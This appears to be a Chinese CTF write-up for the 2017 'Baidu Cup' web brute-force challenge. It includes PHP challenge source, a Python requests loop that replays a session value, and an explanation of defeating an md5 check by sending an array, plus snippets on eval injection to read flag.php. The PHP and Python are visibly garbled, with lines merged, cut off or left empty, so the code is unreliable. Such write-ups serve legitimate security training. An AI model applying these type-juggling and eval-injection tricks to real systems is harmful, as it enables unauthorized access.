<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_session['nums']))
if($_session['time']+120$value = $_request['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_session['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0)
if($_session['nums']>=10)
show_source(__file__);
?>
重點就是這個判斷語句if($_session['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0)
,可以發現這個whoami最開始是ea,然後當和value前兩位相等時就變為另乙個隨機數,並輸出,所以我們每次獲取這個輸出的隨機數賦值給value就好,至於後半句,只要保證value為陣列,substr就會失敗,則等號成立。
import requests
url = ""
s = requests.session()
r = s.get(url)
for i in range(15):
url = " + r.content[0:2]
r = s.get(url)
print r.content
百度杯2017 二月場 爆破二 三
include flag.php a request hello eval var dump a show source file 還是 審計 乙個乙個來看 flag.php hello的value設定為讀取檔案的函式,讓eval執行這段函式。fread 讀取指定檔案 可安全用於二進位制檔案 str...
百度杯」CTF比賽 2017 二月場 爆破 2
進入環境還是進行 審計 include flag.php a request hello eval var dump a show source file eval會將裡面的字串當作php 執行,第一反應就是利用 a在裡面執行 不過一開始我沒有成功,我以為這樣不行,後來才知道問題。我一開始是這樣的 ...
i春秋「百度杯」二月第二場Web專題
檢視原始碼,得知限制了只允許數字字母下劃線 利用超全域性變數 很明顯的 注入 獲得flag session nums需要 10返回flag 初始化為0 其中substr md5 value 5,4 0是恆成立的 只要滿足whoami 等於就會 對nums加1 whoami初始化為ea 並且加一的同時...